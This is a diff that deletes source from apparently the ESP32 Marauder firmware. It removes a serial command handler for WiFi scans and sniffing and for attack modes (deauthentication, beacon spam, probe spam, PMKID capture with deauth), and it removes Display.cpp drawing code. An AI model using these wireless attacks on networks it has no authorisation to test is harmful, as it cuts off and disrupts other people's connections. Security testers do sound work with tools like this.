-    Serial.print("Initializing the MicroSD card module... ");
-    initMicroSDCard();
-
-    int i = 0;
-    while (true)
-    {
-      String path = "/photo_" + String(i++) + ".jpg";
-      if (!SD_MMC.exists(path.c_str()))
-      {
-        takeNewPhoto(path, true);
-        break;
-      }
-    }
-    Serial.println("Camera capture finish");
-  }
-#endif
-
-  // Clear APs
-  else if (cmd_args.get(0) == CLEARAP_CMD) {
-    int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
-    int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
-    int cl_sw = this->argSearch(&cmd_args, "-c"); // Stations
-
-    if (ap_sw != -1) {
-#ifdef HAS_SCREEN
-      menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
-#endif
-      wifi_scan_obj.RunClearAPs();
-    }
-
-    if (ss_sw != -1) {
-#ifdef HAS_SCREEN
-      menu_function_obj.changeMenu(&menu_function_obj.clearSSIDsMenu);
-#endif
-      wifi_scan_obj.RunClearSSIDs();
-    }
-
-    if (cl_sw != -1) {
-#ifdef HAS_SCREEN
-      menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
-#endif
-      wifi_scan_obj.RunClearStations();
-    }
-  }
-
-  else if (cmd_args.get(0) == SETTINGS_CMD) {
-    int ss_sw = this->argSearch(&cmd_args, "-s"); // Set setting
-    int re_sw = this->argSearch(&cmd_args, "-r"); // Reset setting
-    int en_sw = this->argSearch(&cmd_args, "enable"); // enable setting
-    int da_sw = this->argSearch(&cmd_args, "disable"); // disable setting
-
-    if (re_sw != -1) {
-      settings_obj.createDefaultSettings(SPIFFS);
-      return;
-    }
-
-    if (ss_sw == -1) {
-      settings_obj.printJsonSettings(settings_obj.getSettingsString());
-    }
-    else {
-      bool result = false;
-      String setting_name = cmd_args.get(ss_sw + 1);
-      if (en_sw != -1)
-        result = settings_obj.saveSetting<bool>(setting_name, true);
-      else if (da_sw != -1)
-        result = settings_obj.saveSetting<bool>(setting_name, false);
-      else {
-        Serial.println("You did not properly enable/disable this setting.");
-        return;
-      }
-
-      if (!result) {
-        Serial.println("Could not successfully update setting \"" + setting_name + "\"");
-        return;
-      }
-    }
-  }
-
-  else if (cmd_args.get(0) == REBOOT_CMD) {
-    Serial.println("Rebooting...");
-    ESP.restart();
-  }
-
-  //// WiFi/Bluetooth Scan/Attack commands
-  if (!wifi_scan_obj.scanning()) {
-
-    // AP Scan
-    if (cmd_args.get(0) == SCANAP_CMD) {
-      int full_sw = -1;
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-
-      if (full_sw == -1) {
-        Serial.println("Starting AP scan. Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
-      }
-      else {
-        Serial.println("Starting Full AP scan. Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP_FULL, TFT_MAGENTA);
-      }
-    }
-    // Raw sniff
-    else if (cmd_args.get(0) == SNIFF_RAW_CMD) {
-      Serial.println("Starting Raw sniff. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
-    }
-    // Scan stations
-    else if (cmd_args.get(0) == SCANSTA_CMD) {
-      Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_ORANGE);
-    }
-    // Beacon sniff
-    else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
-      Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_AP, TFT_MAGENTA);
-    }
-    // Probe sniff
-    else if (cmd_args.get(0) == SNIFF_PROBE_CMD) {
-      Serial.println("Starting Probe sniff. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_PROBE, TFT_MAGENTA);
-    }
-    // Deauth sniff
-    else if (cmd_args.get(0) == SNIFF_DEAUTH_CMD) {
-      Serial.println("Starting Deauth sniff. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
-    }
-    // Pwn sniff
-    else if (cmd_args.get(0) == SNIFF_PWN_CMD) {
-      Serial.println("Starting Pwnagotchi sniff. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_MAGENTA);
-    }
-    // Espressif sniff
-    else if (cmd_args.get(0) == SNIFF_ESP_CMD) {
-      Serial.println("Starting Espressif device sniff. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_MAGENTA);
-    }
-    // PMKID sniff
-    else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
-      int ch_sw = this->argSearch(&cmd_args, "-c");
-      int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
-
-      if (ch_sw != -1) {
-        wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
-        wifi_scan_obj.changeChannel();
-        Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
-
-      }
-
-      if (d_sw == -1) {
-        Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
-      }
-      else {
-        Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
-      }
-    }
-
-    //// WiFi attack commands
-    // attack
-    if (cmd_args.get(0) == ATTACK_CMD) {
-      int attack_type_switch = this->argSearch(&cmd_args, "-t"); // Required
-      int list_beacon_sw = this->argSearch(&cmd_args, "-l");
-      int rand_beacon_sw = this->argSearch(&cmd_args, "-r");
-      int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
-      int src_addr_sw = this->argSearch(&cmd_args, "-s");
-      int dst_addr_sw = this->argSearch(&cmd_args, "-d");
-      int targ_sw = this->argSearch(&cmd_args, "-c");
-
-      if (attack_type_switch == -1) {
-        Serial.println("You must specify an attack type");
-        return;
-      }
-      else {
-        String attack_type = cmd_args.get(attack_type_switch + 1);
-
-        // Branch on attack type
-        // Deauth
-        if (attack_type == ATTACK_TYPE_DEAUTH) {
-          // Default to broadcast
-          if ((dst_addr_sw == -1) && (targ_sw == -1)) {
-            Serial.println("Sending to broadcast...");
-            wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
-          }
-          // Dest addr specified
-          else if (dst_addr_sw != -1) {
-            wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
-            Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
-          }
-          // Station list specified
-          else if (targ_sw != -1)
-            Serial.println("Sending to Station list");
-
-          // Source addr not specified
-          if (src_addr_sw == -1) {
-            if (!this->apSelected()) {
-              Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
-              return;
-            }
-#ifdef HAS_SCREEN
-            display_obj.clearScreen();
-            menu_function_obj.drawStatusBar();
-#endif
-            Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
-            // Station list not specified
-            if (targ_sw == -1)
-              wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
-            // Station list specified
-            else
-              wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
-          }
-          // Source addr specified
-          else {
-            String src_mac_str = cmd_args.get(src_addr_sw + 1);
-            sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
-                   &wifi_scan_obj.src_mac[0], &wifi_scan_obj.src_mac[1], &wifi_scan_obj.src_mac[2], &wifi_scan_obj.src_mac[3], &wifi_scan_obj.src_mac[4], &wifi_scan_obj.src_mac[5]);
-
-#ifdef HAS_SCREEN
-            display_obj.clearScreen();
-            menu_function_obj.drawStatusBar();
-#endif
-            Serial.println("Starting Manual Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
-            wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_MANUAL, TFT_RED);
-          }
-        }
-        // Beacon
-        else if (attack_type == ATTACK_TYPE_BEACON) {
-          // spam by list
-          if (list_beacon_sw != -1) {
-            if (!this->hasSSIDs()) {
-              Serial.println("You don't have any SSIDs in your list. Use " + (String)SSID_CMD);
-              return;
-            }
-#ifdef HAS_SCREEN
-            display_obj.clearScreen();
-            menu_function_obj.drawStatusBar();
-#endif
-            Serial.println("Starting Beacon list spam. Stop with " + (String)STOPSCAN_CMD);
-            wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_LIST, TFT_RED);
-          }
-          // spam with random
-          else if (rand_beacon_sw != -1) {
-#ifdef HAS_SCREEN
-            display_obj.clearScreen();
-            menu_function_obj.drawStatusBar();
-#endif
-            Serial.println("Starting random Beacon spam. Stop with " + (String)STOPSCAN_CMD);
-            wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_SPAM, TFT_ORANGE);
-          }
-          // Spam from AP list
-          else if (ap_beacon_sw != -1) {
-            if (!this->apSelected()) {
-              Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
-              return;
-            }
-#ifdef HAS_SCREEN
-            display_obj.clearScreen();
-            menu_function_obj.drawStatusBar();
-#endif
-            Serial.println("Starting Targeted AP Beacon spam. Stop with " + (String)STOPSCAN_CMD);
-            wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
-          }
-          else {
-            Serial.println("You did not specify a beacon attack type");
-          }
-        }
-        else if (attack_type == ATTACK_TYPE_PROBE) {
-          if (!this->apSelected()) {
-            Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
-            return;
-          }
-          Serial.println("Starting Probe spam. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-          display_obj.clearScreen();
-          menu_function_obj.drawStatusBar();
-#endif
-          wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
-        }
-        else if (attack_type == ATTACK_TYPE_RR) {
-          Serial.println("Starting Rick Roll Beacon spam. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-          display_obj.clearScreen();
-          menu_function_obj.drawStatusBar();
-#endif
-          wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
-        }
-        else {
-          Serial.println("Attack type not properly defined");
-          return;
-        }
-      }
-    }
-
-    //// Bluetooth scan/attack commands
-    // Bluetooth scan
-    if (cmd_args.get(0) == BT_SNIFF_CMD) {
-      Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
-    }
-    // Bluetooth CC Skimmer scan
-    else if (cmd_args.get(0) == BT_SKIM_CMD) {
-      Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
-#ifdef HAS_SCREEN
-      display_obj.clearScreen();
-      menu_function_obj.drawStatusBar();
-#endif
-      wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
-    }
-
-    // Update command
-    if (cmd_args.get(0) == UPDATE_CMD) {
-      int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
-      int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
-
-      // Update via OTA
-      if (w_sw != -1) {
-        Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.currentScanMode = OTA_UPDATE;
-        //#ifdef HAS_SCREEN
-        //  menu_function_obj.changeMenu(menu_function_obj.updateMenu);
-        //#endif
-        web_obj.setupOTAupdate();
-      }
-      // Update via SD
-      else if (sd_sw != -1) {
-        if (!sd_obj.supported) {
-          Serial.println("SD card is not connected. Cannot perform SD Update");
-          return;
-        }
-        wifi_scan_obj.currentScanMode = OTA_UPDATE;
-        sd_obj.runUpdate();
-      }
-    }
-  }
-
-
-  //// WiFi aux commands
-  // List access points
-  if (cmd_args.get(0) == LIST_AP_CMD) {
-    int ap_sw = this->argSearch(&cmd_args, "-a");
-    int ss_sw = this->argSearch(&cmd_args, "-s");
-    int cl_sw = this->argSearch(&cmd_args, "-c");
-
-    // List APs
-    if (ap_sw != -1) {
-      for (int i = 0; i < access_points->size(); i++) {
-        if (access_points->get(i).selected)
-          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
-        else
-          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
-      }
-    }
-    // List SSIDs
-    else if (ss_sw != -1) {
-      for (int i = 0; i < ssids->size(); i++) {
-        if (ssids->get(i).selected)
-          Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
-        else
-          Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
-      }
-    }
-    // List Stations
-    else if (cl_sw != -1) {
-      char sta_mac[] = "00:00:00:00:00:00";
-      for (int x = 0; x < access_points->size(); x++) {
-        Serial.println("[" + (String)x + "] " + access_points->get(x).essid + " " + (String)access_points->get(x).rssi + ":");
-        for (int i = 0; i < access_points->get(x).stations->size(); i++) {
-          wifi_scan_obj.getMAC(sta_mac, stations->get(access_points->get(x).stations->get(i)).mac, 0);
-          if (stations->get(access_points->get(x).stations->get(i)).selected) {
-            Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
-            Serial.print(sta_mac);
-            Serial.println(" (selected)");
-          }
-          else {
-            Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
-            Serial.println(sta_mac);
-          }
-        }
-      }
-    }
-    else {
-      Serial.println("You did not specify which list to show");
-      return;
-    }
-  }
-  // Select access points or stations
-  else if (cmd_args.get(0) == SEL_CMD) {
-    // Get switches
-    int ap_sw = this->argSearch(&cmd_args, "-a");
-    int ss_sw = this->argSearch(&cmd_args, "-s");
-    int cl_sw = this->argSearch(&cmd_args, "-c");
-
-    // select Access points
-    if (ap_sw != -1) {
-      // Get list of indices
-      LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
-
-      // Select ALL APs
-      if (cmd_args.get(ap_sw + 1) == "all") {
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).selected) {
-            // Unselect "selected" ap
-            AccessPoint new_ap = access_points->get(i);
-            new_ap.selected = false;
-            access_points->set(i, new_ap);
-          }
-          else {
-            // Select "unselected" ap
-            AccessPoint new_ap = access_points->get(i);
-            new_ap.selected = true;
-            access_points->set(i, new_ap);
-          }
-        }
-      }
-      // Select specific APs
-      else {
-        // Mark APs as selected
-        for (int i = 0; i < ap_index.size(); i++) {
-          int index = ap_index.get(i).toInt();
-          if (!this->inRange(access_points->size(), index)) {
-            Serial.println("Index not in range: " + (String)index);
-            continue;
-          }
-          if (access_points->get(index).selected) {
-            // Unselect "selected" ap
-            AccessPoint new_ap = access_points->get(index);
-            new_ap.selected = false;
-            access_points->set(index, new_ap);
-          }
-          else {
-            // Select "unselected" ap
-            AccessPoint new_ap = access_points->get(index);
-            new_ap.selected = true;
-            access_points->set(index, new_ap);
-          }
-        }
-      }
-    }
-    else if (cl_sw != -1) {
-      LinkedList<String> sta_index = this->parseCommand(cmd_args.get(cl_sw + 1), ",");
-
-      // Select all Stations
-      if (cmd_args.get(cl_sw + 1) == "all") {
-        for (int i = 0; i < stations->size(); i++) {
-          if (stations->get(i).selected) {
-            // Unselect "selected" ap
-            Station new_sta = stations->get(i);
-            new_sta.selected = false;
-            stations->set(i, new_sta);
-          }
-          else {
-            // Select "unselected" ap
-            Station new_sta = stations->get(i);
-            new_sta.selected = true;
-            stations->set(i, new_sta);
-          }
-        }
-      }
-      // Select specific Stations
-      else {
-        // Mark Stations as selected
-        for (int i = 0; i < sta_index.size(); i++) {
-          int index = sta_index.get(i).toInt();
-          if (!this->inRange(stations->size(), index)) {
-            Serial.println("Index not in range: " + (String)index);
-            continue;
-          }
-          if (stations->get(index).selected) {
-            // Unselect "selected" ap
-            Station new_sta = stations->get(index);
-            new_sta.selected = false;
-            stations->set(index, new_sta);
-          }
-          else {
-            // Select "unselected" ap
-            Station new_sta = stations->get(index);
-            new_sta.selected = true;
-            stations->set(index, new_sta);
-          }
-        }
-      }
-    }
-    // select ssids
-    else if (ss_sw != -1) {
-      // Get list of indices
-      LinkedList<String> ss_index = this->parseCommand(cmd_args.get(ss_sw + 1), ",");
-
-      // Mark APs as selected
-      for (int i = 0; i < ss_index.size(); i++) {
-        int index = ss_index.get(i).toInt();
-        if (!this->inRange(ssids->size(), index)) {
-          Serial.println("Index not in range: " + (String)index);
-          continue;
-        }
-        if (ssids->get(index).selected) {
-          // Unselect "selected" ap
-          ssid new_ssid = ssids->get(index);
-          new_ssid.selected = false;
-          ssids->set(index, new_ssid);
-        }
-        else {
-          // Select "unselected" ap
-          ssid new_ssid = ssids->get(index);
-          new_ssid.selected = true;
-          ssids->set(index, new_ssid);
-        }
-      }
-    }
-    else {
-      Serial.println("You did not specify which list to select from");
-      return;
-    }
-  }
-  // SSID stuff
-  else if (cmd_args.get(0) == SSID_CMD) {
-    int add_sw = this->argSearch(&cmd_args, "-a");
-    int gen_sw = this->argSearch(&cmd_args, "-g");
-    int spc_sw = this->argSearch(&cmd_args, "-n");
-    int rem_sw = this->argSearch(&cmd_args, "-r");
-
-    // Add ssid
-    if (add_sw != -1) {
-      // Generate random
-      if (gen_sw != -1) {
-        int gen_count = cmd_args.get(gen_sw + 1).toInt();
-        wifi_scan_obj.generateSSIDs(gen_count);
-      }
-      // Add specific
-      else if (spc_sw != -1) {
-        String essid = cmd_args.get(spc_sw + 1);
-        wifi_scan_obj.addSSID(essid);
-      }
-      else {
-        Serial.println("You did not specify how to add SSIDs");
-      }
-    }
-    // Remove SSID
-    else if (rem_sw != -1) {
-      int index = cmd_args.get(rem_sw + 1).toInt();
-      if (!this->inRange(ssids->size(), index)) {
-        Serial.println("Index not in range: " + (String)index);
-        return;
-      }
-      ssids->remove(index);
-    }
-    else {
-      Serial.println("You did not specify whether to add or remove SSIDs");
-      return;
-    }
-  }
-}

esp32_marauder/Display.cpp

@@ -1,801 +0,0 @@
-#include "Display.h"
-#include "lang_var.h"
-
-#ifdef HAS_SCREEN
-
-Display::Display()
-{
-}
-
-// Function to prepare the display and the menus
-void Display::RunSetup()
-{
-  run_setup = false;
-
-  // Need to declare new
-  display_buffer = new LinkedList<String>();
-
-  #ifdef SCREEN_BUFFER
-    screen_buffer = new LinkedList<String>();
-  #endif
-  
-  tft.init();
-  tft.setRotation(0); // Portrait
-
-  tft.setCursor(0, 0);
-
-  #ifndef MARAUDER_MINI
-
-    #ifdef TFT_SHIELD
-      uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
-      //Serial.println(F("Using TFT Shield"));
-    #else if defined(TFT_DIY)
-      uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; // tft.setRotation(0); // Portrait with DIY TFT
-      //Serial.println(F("Using TFT DIY"));
-    #endif
-    tft.setTouch(calData);
-
-  #endif
-
-  //tft.fillScreen(TFT_BLACK);
-  clearScreen();
-
-  //Serial.println("SPI_FREQUENCY: " + (String)SPI_FREQUENCY);
-  //Serial.println("SPI_READ_FREQUENCY:" + (String)SPI_READ_FREQUENCY);
-  //Serial.println("SPI_TOUCH_FREQUENCY: " + (String)SPI_TOUCH_FREQUENCY);
-
-  #ifdef KIT
-    pinMode(KIT_LED_BUILTIN, OUTPUT);
-  #endif
-}
-
-void Display::drawFrame()
-{
-  tft.drawRect(FRAME_X, FRAME_Y, FRAME_W, FRAME_H, TFT_BLACK);
-}
-
-void Display::tftDrawRedOnOffButton() {
-  tft.fillRect(REDBUTTON_X, REDBUTTON_Y, REDBUTTON_W, REDBUTTON_H, TFT_RED);
-  tft.fillRect(GREENBUTTON_X, GREENBUTTON_Y, GREENBUTTON_W, GREENBUTTON_H, TFT_DARKGREY);
-  drawFrame();
-  tft.setTextColor(TFT_WHITE);
-  tft.setTextSize(2);
-  tft.setTextDatum(MC_DATUM);
-  tft.drawString(text03, GREENBUTTON_X + (GREENBUTTON_W / 2), GREENBUTTON_Y + (GREENBUTTON_H / 2));
-  this->SwitchOn = false;
-}
-
-void Display::tftDrawGreenOnOffButton() {
-  tft.fillRect(GREENBUTTON_X, GREENBUTTON_Y, GREENBUTTON_W, GREENBUTTON_H, TFT_GREEN);
-  tft.fillRect(REDBUTTON_X, REDBUTTON_Y, REDBUTTON_W, REDBUTTON_H, TFT_DARKGREY);
-  drawFrame();
-  tft.setTextColor(TFT_WHITE);
-  tft.setTextSize(2);
-  tft.setTextDatum(MC_DATUM);
-  tft.drawString(text04, REDBUTTON_X + (REDBUTTON_W / 2) + 1, REDBUTTON_Y + (REDBUTTON_H / 2));
-  this->SwitchOn = true;
-}
-
-void Display::tftDrawGraphObjects(byte x_scale)
-{
-  //draw the graph objects
-  tft.fillRect(11, 5, x_scale+1, 120, TFT_BLACK); // positive start point
-  tft.fillRect(11, 121, x_scale+1, 119, TFT_BLACK); // negative start point
-  tft.drawFastVLine(10, 5, 230, TFT_WHITE); // y axis
-  tft.drawFastHLine(10, HEIGHT_1 - 1, 310, TFT_WHITE); // x axis
-  tft.setTextColor(TFT_YELLOW); tft.setTextSize(1); // set parameters for y axis labels
-  //tft.setCursor(3, 116); tft.print(midway);  // "0" at center of ya axis
-  tft.setCursor(3, 6); tft.print("+"); // "+' at top of y axis
-  tft.setCursor(3, 228); tft.print("0"); // "-" at bottom of y axis
-}
-
-void Display::tftDrawEapolColorKey()
-{
-  //Display color key
-  tft.setTextSize(1); tft.setTextColor(TFT_WHITE);
-  tft.fillRect(14, 0, 15, 8, TFT_CYAN); tft.setCursor(30, 0); tft.print(" - EAPOL"); 
-}
-
-void Display::tftDrawColorKey()
-{
-  //Display color key
-  tft.setTextSize(1); tft.setTextColor(TFT_WHITE);
-  tft.fillRect(14, 0, 15, 8, TFT_GREEN); tft.setCursor(30, 0); tft.print(" - Beacons"); 
-  tft.fillRect(14, 8, 15, 8, TFT_RED); tft.setCursor(30, 8); tft.print(" - Deauths");
-  tft.fillRect(14, 16, 15, 8, TFT_BLUE); tft.setCursor(30, 16); tft.print(" - Probes");
-}
-
-void Display::tftDrawXScaleButtons(byte x_scale)
-{
-  tft.drawFastVLine(234, 0, 20, TFT_WHITE);
-  tft.setCursor(208, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("X Scale:"); tft.print(x_scale);
-
-  key[0].initButton(&tft, // x - box
-                        220,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_BLACK, // Outline
-                        TFT_CYAN, // Fill
-                        TFT_BLACK, // Text
-                        "-",
-                        2);
-  key[1].initButton(&tft, // x + box
-                        249,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_BLACK, // Outline
-                        TFT_CYAN, // Fill
-                        TFT_BLACK, // Text
-                        "+",
-                        2);
-
-  key[0].setLabelDatum(1, 5, MC_DATUM);
-  key[1].setLabelDatum(1, 5, MC_DATUM);
-
-  key[0].drawButton();
-  key[1].drawButton();
-}
-
-void Display::tftDrawYScaleButtons(byte y_scale)
-{
-  tft.drawFastVLine(290, 0, 20, TFT_WHITE);
-  tft.setCursor(265, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("Y Scale:"); tft.print(y_scale);
-
-  key[2].initButton(&tft, // y - box
-                        276,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_BLACK, // Outline
-                        TFT_MAGENTA, // Fill
-                        TFT_BLACK, // Text
-                        "-",
-                        2);
-  key[3].initButton(&tft, // y + box
-                        305,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_BLACK, // Outline
-                        TFT_MAGENTA, // Fill
-                        TFT_BLACK, // Text
-                        "+",
-                        2);
-
-  key[2].setLabelDatum(1, 5, MC_DATUM);
-  key[3].setLabelDatum(1, 5, MC_DATUM);
-
-  key[2].drawButton();
-  key[3].drawButton();
-}
-
-void Display::tftDrawChannelScaleButtons(int set_channel)
-{
-  tft.drawFastVLine(178, 0, 20, TFT_WHITE);
-  tft.setCursor(145, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print(text10); tft.print(set_channel);
-
-  key[4].initButton(&tft, // channel - box
-                        164,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_BLACK, // Outline
-                        TFT_BLUE, // Fill
-                        TFT_BLACK, // Text
-                        "-",
-                        2);
-  key[5].initButton(&tft, // channel + box
-                        193,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_BLACK, // Outline
-                        TFT_BLUE, // Fill
-                        TFT_BLACK, // Text
-                        "+",
-                        2);
-
-  key[4].setLabelDatum(1, 5, MC_DATUM);
-  key[5].setLabelDatum(1, 5, MC_DATUM);
-
-  key[4].drawButton();
-  key[5].drawButton();
-}
-
-void Display::tftDrawExitScaleButtons()
-{
-  //tft.drawFastVLine(178, 0, 20, TFT_WHITE);
-  //tft.setCursor(145, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("Channel:"); tft.print(set_channel);
-
-  key[6].initButton(&tft, // Exit box
-                        137,
-                        10, // x, y, w, h, outline, fill, text
-                        20,
-                        20,
-                        TFT_ORANGE, // Outline
-                        TFT_RED, // Fill
-                        TFT_BLACK, // Text
-                        "X",
-                        2);
-
-  key[6].setLabelDatum(1, 5, MC_DATUM);
-
-  key[6].drawButton();
-}
-
-void Display::twoPartDisplay(String center_text)
-{
-  tft.setTextColor(TFT_BLACK, TFT_YELLOW);
-  tft.fillRect(0,16,HEIGHT_1,144, TFT_YELLOW);
-  //tft.drawCentreString(center_text,120,82,1);
-  tft.setTextWrap(true);
-  tft.setFreeFont(NULL);
-  //showCenterText(center_text, 82);
-  //tft.drawCentreString(center_text,120,82,1);
-  tft.setCursor(0, 82);
-  tft.println(center_text);
-  tft.setFreeFont(MENU_FONT);
-  tft.setTextWrap(false);
-}
-
-void Display::touchToExit()
-{
-  tft.setTextColor(TFT_BLACK, TFT_LIGHTGREY);
-  tft.fillRect(0,32,HEIGHT_1,16, TFT_LIGHTGREY);
-  tft.drawCentreString(text11,120,32,2);
-}
-
-
-// Function to just draw the screen black
-void Display::clearScreen()
-{
-  //Serial.println(F("clearScreen()"));
-  tft.fillScreen(TFT_BLACK);
-  tft.setCursor(0, 0);
-}
-
-#ifdef SCREEN_BUFFER
-void Display::scrollScreenBuffer(bool down) {
-  // Scroll screen normal direction (Up)
-  if (!down) {
-    this->screen_buffer->shift();
-  }
-}
-#endif
-
-void Display::displayBuffer(bool do_clear)
-{
-  if (this->display_buffer->size() > 0)
-  {
-    delay(1);
-
-    while (display_buffer->size() > 0)
-    {
-
-      #ifndef SCREEN_BUFFER
-        xPos = 0;
-        if ((display_buffer->size() > 0) && (!loading))
-        {
-          printing = true;
-          delay(print_delay_1);
-          yDraw = scroll_line(TFT_RED);
-          tft.setCursor(xPos, yDraw);
-          tft.setTextColor(TFT_GREEN, TFT_BLACK);
-          tft.print(display_buffer->shift());
-          printing = false;
-          delay(print_delay_2);
-        }
-        if (!tteBar)
-          blank[(18+(yStart - TOP_FIXED_AREA) / TEXT_HEIGHT)%19] = xPos;
-        else
-          blank[(18+(yStart - TOP_FIXED_AREA_2) / TEXT_HEIGHT)%19] = xPos;
-      #else
-        xPos = 0;
-        if (this->screen_buffer->size() >= MAX_SCREEN_BUFFER) 
-          this->scrollScreenBuffer();
-
-        screen_buffer->add(display_buffer->shift());
-
-        for (int i = 0; i < this->screen_buffer->size(); i++) {
-          tft.setCursor(xPos, (i * 12) + (SCREEN_HEIGHT / 6));
-          for (int x = 0; x < TFT_WIDTH / CHAR_WIDTH; x++)
-            tft.print(" ");
-          tft.setCursor(xPos, (i * 12) + (SCREEN_HEIGHT / 6));
-          tft.setTextColor(TFT_GREEN, TFT_BLACK);
-          tft.print(this->screen_buffer->get(i));
-        }
-      #endif
-    }
-  }
-}
-
-void Display::showCenterText(String text, int y)
-{
-  tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
-  tft.println(text);
-}
-
-
-void Display::initScrollValues(bool tte)
-{
-  //Serial.println(F("initScrollValues()"));
-  yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
-
-  xPos = 0;
-
-  if (!tte)
-  {
-    yStart = TOP_FIXED_AREA;
-
